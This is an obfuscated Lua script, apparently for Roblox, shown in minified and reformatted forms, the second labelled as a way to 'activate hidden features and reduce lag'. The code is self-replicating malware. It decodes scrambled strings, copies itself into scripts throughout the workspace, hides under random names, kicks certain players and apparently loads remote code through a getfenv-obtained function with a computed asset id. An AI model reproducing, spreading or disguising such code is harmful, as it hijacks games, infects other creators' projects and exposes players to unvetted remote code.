local G,h,F,e,o,m,B,P,c,z,Q,X,s,T,w,H,p,v,x,b,t,n,l,g,Z,y,D,U,k,S,i,r,R,u,V,Y,j,d,C,A,L=shared,table,{},{"\121","\104","\115","\097";"\103","\101","\099";"\114";"\098";"\117";"\116"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn or spawn,type i,r,R,u,sfr,Y,drm,j,d=function(G,h,F,e,m,B)if Y(G,"\112\104\123\096\117\108\123\"\117\123\098\122\043")then h,F,e=G[R("\069\117\109\096\037")],G[R("\068\117\109\096\037")],G[R("\112\114\096\059\108\108\096\115\040")]if e==R("\101\096\123\044")then m,B=G[R("\069\040")],G[R("\068\040")]drm(G)G=X(R("\113\115\112\060"))G[R("\069\117\109\096\037")],G[R("\068\117\109\096\037")],G[R("\069\040")],G[R("\068\040")]=h,F,m,B end o(sfr,G,"\112\114\096\059",""[R("\117\096\114\109\122\121")](Y(G,"\109\122\117\122\050")and R("\109\122\117\122\050\065\108\080\082\122\117\082\108\080")or R("\117\123\098\122\043\065\120\123\122\109\117\044\065\108\080\082\122\117\082\108\080"),P(h),P(F)))o(sfr,G,"\117\123\112\109\096\037",h or F)o(j,G)end end,function(G)for h=1,#D,1 do y=D[h]g,Z=o(u,y,"\112\114\096\059\108\108\096\115\040")if g and Z==G then return y end end end,(function(G,o)t,n,l,x=G[e[5]..(e[3]..(e[10]..e[9]))],G[e[7]..(e[2]..(e[4]..e[8]))],G[e[9]..(e[1]..(e[11]..e[6]))],s("\049")return function(e)o=#e for h=1,o,1 do G=l(e,h)F[(o-h)+1]=n(((((((1-G%2)+((G-G%8)%32)/4)+((G-G%2)%8)*4)+((G-G%32)%64)*2)+((G-G%64)%128)/2)+G)-G%128)end return h.concat(F,nil,1,o)end end)(""),function(G,h)return R(G[R(h)])end,function(G,h,F)G[R(h)]=F end,function(G,h)return z[R(" \108\"")](G,R(h))end,function(G)dbr[R("\114\112\117\"\113\113 ")](dbr,G,0)end,function(G,h)if not b[1][G]then h=Q[R("\112\123\122\115\040")](Q)h[R("\112\115\105\096\125\098\099\104\109 ")]=true d(G,h)h[R("\117\123\112\109\096\037")]=G end end,function(G,h,F)b[3][h]=true F=h[R("\113\112\120\123\096\099\040")]F=F[R("\117\104\112\123\123\122\104")](F,function()if h[R("\117\123\112\109\096\037")]~=G or h[R("\113\112\115\105\096\108\098\049")]then b[1][G]=nil b[3][h]=nil o(j,G)F[R("\117\104\112\123\123\122\104\108\098\113")](F)elseif not h[R("\112\115\105\096\125\098\099\104\109 ")]then h[R("\112\115\105\096\125\098\099\104\109 ")]=true end end)end V=z[R("\123\112\109\113\115\098\099\040\117\112\056")]D=V(z)dbr,A,vsr=r("\108\098\109\105\112\049"),r("\108\109\112\102\096\115\037"),r("\112\104\098\125\109\112\044\123\116-")b=G[R(h[R("\117\096\104\123\122\104")](e))]C=Q[R("\117\123\112\109\096\037")][R("\117\123\112\109\096\037")]if P(Q[R("\117\123\112\109\096\037")])==R("\102\112\123\122\050")and((P(C)==R("\103\098\053")or P(C)==R("\103\116\105\122-"))and Y(C,"\117\109\096\037\112\108\096\041"))then L=C[R("\113\112\099\104\116\122\053")]L[R("\117\104\112\123\123\122\104")](L,function(G)if A[R("\109\112\117\104\096\109\096\099\040\114\122\109\057\109\112\102\096\115\037\117\112\056")](A,G[R("\117\123\112\109\096\037")])then C[R("\102\122\109\117\108\112\049")](C)end end)end if not b then b={{},{};{}}G[R(h[R("\117\096\104\123\122\104")](e))]=b v=0 H(function(G,F)Q[R("\117\123\112\109\096\037")]=nil c(B())U=r("\112\104\098\125\109\112\044\108\117\123\098\122\043")h[R("\098\099\104\096\112\109\122\121")](V(U),function(G,h)o(i,h)end)k=U[R("\113\112\113\113 \113\115\098\099\040")]k[R("\117\104\112\123\123\122\104")](k,function(G)c(B())o(i,G)end)k=T[R("\113\112\113\113 \117\123\096\113\123\112\104\108\112\049")]k[R("\117\104\112\123\123\122\104")](k,function(G)c(B())if Y(G,"\112\104\123\096\117\108\123\"\117\123\098\122\043")and not Y(G,"\109\122\117\122\050")then o(j,G)end end)k=V(T)while#k>0 do v=v+1 if v==1000 then v=0 c()end k[#k],Z=nil,k[#k]if Y(Z,"\112\104\123\096\117\108\123\"\117\123\098\122\043")and not Y(Z,"\109\122\117\122\050")then o(j,Z)end g,Z=o(V,Z)if g then for G=1,#Z,1 do k[#k+1]=Z[G]end end end H(function(G,h)if not vsr[R("\122\098\113\116\117\044\108\"")](vsr)then G,h=o(x[R("\112\109\098\116\100\112\109")],R("\071\070\084\076\093\076\071\084\071\077\077\069\076\091\071")^R("\093\076\068\092\070\092\077\071\070\076\084\069\076\091\070")-R("\084\069\069\082\112\085\092\071\069\077\069\092\076\076\071\084\092\091\068"))o(h)end end)while true do c(B())repeat G,F=w(b[2])if G then b[2][G]=nil d(F,G)end until not G end end)end S=R("\065\091\109\112\125\065\113\115\112\098\099\044\065\117\123\098\122\043")..m(""[R("\105\116\108")](P(b),8,15),16)/8 Q[R("\112\114\096\059")]=S k=Q[R("\117\123\112\109\096\037")]if b[1][k]then drm(Q)elseif not v then b[1][k]=true if not b[3][Q]then b[2][Q]=k end end
-- activate hidden features and reduce lag --
local uq0, wz1, bf, pqa, pc, zt0, rn, rt0, wt, dm, ths, ct0, gf, wsp, qxz, xsp, tp, cnt, qqb, dt, gq6, cq3, bq2, sc, cn, sv, svs, jsv, q0, knm, mjt, fsv, rqc, gfr, gch, isa, ict, prt, zz1, rlp, z22 =
	shared,
	table,
	{},
	{ "y", "h", "s", "a", "g", "e", "c", "r", "b", "u", "t" },
	pcall,
	tonumber,
	math.random,
	tostring,
	wait or Wait,
	Game or game,
	script,
	Instance.new,
	getfenv,
	Workspace or workspace,
	next,
	Spawn or spawn,
	type
mjt, fsv, rqc, gfr, sfr, isa, drm, ict, prt =
	function(yqh, aq1, bq2, cq3, dq4, eq5)
		if isa(yqh, 'ph{`ul{"u{bz+') then
			aq1, bq2, cq3 = yqh[rqc("Eum`%")], yqh[rqc("Dum`%")], yqh[rqc("pr`;ll`s(")]
			if cq3 == rqc("e`{,") then
				dq4, eq5 = yqh[rqc("E(")], yqh[rqc("D(")]
				drm(yqh)
				yqh = ct0(rqc("qsp<"))
				yqh[rqc("Eum`%")], yqh[rqc("Dum`%")], yqh[rqc("E(")], yqh[rqc("D(")] = aq1, bq2, dq4, eq5
			end
			pc(sfr, yqh, "pr`;", ("")[rqc("u`rmzy")](isa(yqh, "mzuz2") and rqc("mzuz2AlPRzuRlP") or rqc("u{bz+Ax{zmu,AlPRzuRlP"), rt0(aq1), rt0(bq2)))
			pc(sfr, yqh, "u{pm`%", aq1 or bq2)
			pc(ict, yqh)
		end
	end, function(yqh)
		for iq7 = 1, #svs do
			sv = svs[iq7]
			sc, cn = pc(gfr, sv, "pr`;ll`s(")
			if sc and cn == yqh then
				return sv
			end
		end
	end, (function(yqh, lq9)
		gq6, cq3, bq2, qqb = yqh[pqa[5] .. pqa[3] .. pqa[10] .. pqa[9]], yqh[pqa[7] .. pqa[2] .. pqa[4] .. pqa[8]], yqh[pqa[9] .. pqa[1] .. pqa[11] .. pqa[6]], gf("1")
		return function(xqg)
			lq9 = #xqg
			for iq7 = 1, lq9 do
				yqh = bq2(xqg, iq7)
				bf[lq9 - iq7 + 1] = cq3(1 - yqh % 2 + (yqh - yqh % 8) % 32 / 4 + (yqh - yqh % 2) % 8 * 4 + (yqh - yqh % 32) % 64 * 2 + (yqh - yqh % 64) % 128 / 2 + yqh - yqh % 128)
			end
			return wz1.concat(bf, nil, 1, lq9)
		end
	end)(""), function(oqa, kq8)
		return rqc(oqa[rqc(kq8)])
	end, function(oqa, kq8, vqf)
		oqa[rqc(kq8)] = vqf
	end, function(yqh, xqg)
		return dm[rqc(' l"')](yqh, rqc(xqg))
	end, function(xqg)
		dbr[rqc('rpu"qq ')](dbr, xqg, 0)
	end, function(yqh, xqg)
		if not dt[1][yqh] then
			xqg = ths[rqc("p{zs(")](ths)
			xqg[rqc("psi`}bchm ")] = true
			prt(yqh, xqg)
			xqg[rqc("u{pm`%")] = yqh
		end
	end, function(yqh, xqg, zqi)
		dt[3][xqg] = true
		zqi = xqg[rqc("qpx{`c(")]
		zqi = zqi[rqc("uhp{{zh")](zqi, function()
			if xqg[rqc("u{pm`%")] ~= yqh or xqg[rqc("qpsi`lb1")] then
				dt[1][yqh] = nil
				dt[3][xqg] = nil
				pc(ict, yqh)
				zqi[rqc("uhp{{zhlbq")](zqi)
			elseif not xqg[rqc("psi`}bchm ")] then
				xqg[rqc("psi`}bchm ")] = true
			end
		end)
	end
gch = dm[rqc("{pmqsbc(up8")]
svs = gch(dm)
dbr, rlp, vsr = fsv("lbmip1"), fsv("lmpf`s%"), fsv("phb}mp,{t-")
dt = uq0[rqc(wz1[rqc("u`h{zh")](pqa))]
zz1 = ths[rqc("u{pm`%")][rqc("u{pm`%")]
if
	rt0(ths[rqc("u{pm`%")]) == rqc("fp{z2")
	and (rt0(zz1) == rqc("gb5") or rt0(zz1) == rqc("gtiz-"))
	and isa(zz1, "um`%pl`)")
then
	z22 = zz1[rqc("qpchtz5")]
	z22[rqc("uhp{{zh")](z22, function(l)
		if rlp[rqc("mpuh`m`c(rzm9mpf`s%up8")](rlp, l[rqc("u{pm`%")]) then
			zz1[rqc("fzmulp1")](zz1)
		end
	end)
end
if not dt then
	dt = { {}, {}, {} }
	uq0[rqc(wz1[rqc("u`h{zh")](pqa))] = dt
	cnt = 0
	xsp(function(a1, a2)
		ths[rqc("u{pm`%")] = nil
		wt(rn())
		jsv = fsv("phb}mp,lu{bz+")
		wz1[rqc("bch`pmzy")](gch(jsv), function(yqh, xqg)
			pc(mjt, xqg)
		end)
		q0 = jsv[rqc("qpqq qsbc(")]
		q0[rqc("uhp{{zh")](q0, function(xqg)
			wt(rn())
			pc(mjt, xqg)
		end)
		q0 = wsp[rqc("qpqq u{`q{phlp1")]
		q0[rqc("uhp{{zh")](q0, function(xqg)
			wt(rn())
			if isa(xqg, 'ph{`ul{"u{bz+') and not isa(xqg, "mzuz2") then
				pc(ict, xqg)
			end
		end)
		q0 = gch(wsp)
		while #q0 > 0 do
			cnt = cnt + 1
			if cnt == 1000 then
				cnt = 0
				wt()
			end
			q0[#q0], cn = nil, q0[#q0]
			if isa(cn, 'ph{`ul{"u{bz+') and not isa(cn, "mzuz2") then
				pc(ict, cn)
			end
			sc, cn = pc(gch, cn)
			if sc then
				for iq7 = 1, #cn do
					q0[#q0 + 1] = cn[iq7]
				end
			end
		end
		xsp(function(sqd, tqe)
			if not vsr[rqc('zbqtu,l"')](vsr) then
				sqd, tqe = pc(
					qqb[rqc("pmbtdpm")],
					rqc("GFTL]LGTGMMEL[G") ^ rqc("]LD\\F\\MGFLTEL[F") - rqc("TEERpU\\GEME\\LLGT\\[D")
				)
				pc(tqe)
			end
		end)
		while true do
			wt(rn())
			repeat
				a1, a2 = qxz(dt[2])
				if a1 then
					dt[2][a1] = nil
					prt(a2, a1)
				end
			until not a1
		end
	end)
end
knm = rqc("A[mp}Aqspbc,Au{bz+") .. (zt0(("")[rqc("itl")](rt0(dt), 8, 15), 16) / 8)
ths[rqc("pr`;")] = knm
q0 = ths[rqc("u{pm`%")]
if dt[1][q0] then
	drm(ths)
elseif not cnt then
	dt[1][q0] = true
	if not dt[3][ths] then
		dt[2][ths] = q0
	end
end
